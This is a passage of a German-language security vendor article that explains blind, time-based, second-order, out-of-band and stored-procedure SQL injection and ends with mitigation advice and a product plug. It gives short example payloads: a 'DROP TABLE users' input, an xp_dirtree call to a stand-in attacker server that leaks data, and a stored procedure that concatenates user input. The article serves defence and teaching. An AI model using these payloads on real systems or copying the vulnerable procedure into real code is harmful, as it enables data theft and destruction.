Die boolesche SQL-Injection ist eine Art der blinden SQL-Injection, bei der versucht wird, Informationen über Wahr/Falsch-Bedingungen abzurufen. Ein Beispiel sieht wie folgt aus: SELECT * FROM users WHERE id = ‘$id’ AND ‘1’=’1′; Wenn diese Abfrage ein Ergebnis liefert, die gleiche Abfrage mit ‘1’=’0′’ nicht, wissen sie, dass die Injektion funktioniert hat. Dieser Ansatz gilt, wenn es keine sichtbare Ausgabe für den Angreifer gibt.
8. Zeitbasierte blinde SQL-Injection
Zeitbasierte blinde SQL-Injection hängt von Zeitverzögerungen ab, um Rückschlüsse auf die Ergebnisse einer Abfrage zu ziehen. Beispiel: SELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0); Wenn die Seite länger als gewöhnlich lädt, kommt der Angreifer zu dem Schluss, dass die Abfrage erfolgreich abgeschlossen wurde. Dies wird in der Regel ausgeführt, wenn keine Fehlermeldungen oder andere sichtbare Rückmeldungen verfügbar sind.
9. SQL-Injection zweiter Ordnung
Dies geschieht, wenn eine böswillige Eingabe irgendwo gespeichert wird und nach einiger Zeit in einer anderen Datenbankoperation ausgeführt wird. Beispiel: John’); DROP TABLE users;– Wenn diese Eingabe gespeichert und dann in einer anderen Abfrage ohne ordnungsgemäße Validierung ausgeführt wird, kann dies zu erheblichen Schäden führen, wie z. B. dem Löschen einer wichtigen Tabelle.
10. Out-of-Band-SQL-Injection
Bei dieser Art von Angriff erfolgt die Offenlegung von Informationen über externe Kanäle wie HTTP- oder DNS-Anfragen. Beispiel: SELECT * FROM users WHERE id = 1; EXEC xp_dirtree ‘\\attacker-server\share’; Diese Abfrage sendet wiederum eine Anfrage an einen vom Angreifer kontrollierten Server und extrahiert so indirekt Daten. Bei einer Out-of-Band-Injection muss die Datenbank die ausgehenden Verbindungen aktivieren.
11. SQL-Injection in gespeicherte Prozeduren
SQL-Injection zielt auf die gespeicherten Prozeduren selbst ab. Ein gutes Beispiel hierfür findet sich in dieser gespeicherten Prozedur: CREATE PROCEDURE GetUserData @username NVARCHAR(50) AS EXEC(‘SELECT * FROM users WHERE username = ”’ + @username + ””); Die Eingabe könnte ‘ ODER "1=1" lauten und die Abfrage manipulieren. Wenn Eingaben in gespeicherte Prozeduren nicht ordnungsgemäß bereinigt werden, können sie genauso anfällig sein wie Inline-SQL-Abfragen.
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Demo anfordernFazit
Letztendlich bleibt SQL-Injection eine der größten Sicherheitsbedrohungen für Webanwendungen und Datenbanken. Mangelhafte Eingabevalidierung, schwache Abfrageverarbeitung und veraltete Sicherheitspraktiken tragen dazu bei, dass diese Art von Angriffen selbst bei einer so bekannten Schwachstelle häufig vorkommen. Ein erfolgreicher SQL-Injection-Angriff kann zu Datenklau, finanziellen Verlusten, Reputationsschäden und sogar rechtlichen Konsequenzen führen. Daher ist es für Unternehmen sehr wichtig, umfassende Sicherheitsmaßnahmen wie vorbereitete Anweisungen, Eingabevalidierung und Web Application Firewalls zu implementieren.
Jedes Unternehmen sollte SQL-Injection-Schwachstellen sehr ernst nehmen, insbesondere wenn sensible Kundendaten verarbeitet werden. Durch die Befolgung der in diesem Artikel beschriebenen Best Practices, regelmäßige Sicherheitsaudits und die Schulung von Entwicklern in sicheren Programmierpraktiken können Unternehmen das Risiko verringern, Opfer von SQL-Injection-Angriffen zu werden.
"Häufig gestellte Fragen zu SQL-Injection
Die Folgen von SQL-Injection-Angriffen gehen weit über das bloße Einschleusen von Schadcode in Ihr Unternehmen hinaus. Wenn Angreifer die Anmeldedaten Ihrer Benutzer sammeln und stehlen, erhalten sie unbefugten Zugriff auf sensible Datenbanken, Server und andere Ressourcen. Sie können Berechtigungen erweitern, vertrauliche Informationen offenlegen oder Ihre Daten im Dark Web verkaufen. Die Auswirkungen reichen weit in die Zukunft und betreffen den Ruf und die Integrität Ihres Unternehmens.
Wir empfehlen die Verwendung der Singularity™-Plattform zur Bekämpfung von SQL-Injection-Bedrohungen. Sie bietet unternehmensweiten Schutz und umfasst alle Tools und Funktionen, die Sie für autonome Reaktionen, uneingeschränkte Transparenz und branchenführende Erkennung benötigen.
Sie können SQLi-Angriffe verhindern, indem Sie Zulassungslisten oder Whitelists verwenden und kontinuierliche Schwachstellenscans und Penetrationstests durchführen. Setzen Sie Web Application Firewalls (WAF) ein, wenden Sie das Prinzip der geringsten Privilegien an und wenden Sie Prozesse zur Eingabevalidierung und -bereinigung an.
Begrenzen Sie den Umfang des Schadens und konzentrieren Sie sich darauf, die Bedrohung einzudämmen. Aktivieren Sie Ihre Infrastruktur wieder, beheben Sie Webseiten/Befehle mit erkannten Schwachstellen und fahren Sie infizierte Dienste herunter. Stellen Sie verlorene Daten aus Ihren aktuellen Backups wieder her und verwenden Sie eine fortschrittliche Lösung zur Erkennung von Bedrohungen wie SentinelOne, um den Ursprung des Angriffs zu lokalisieren und zu beheben.
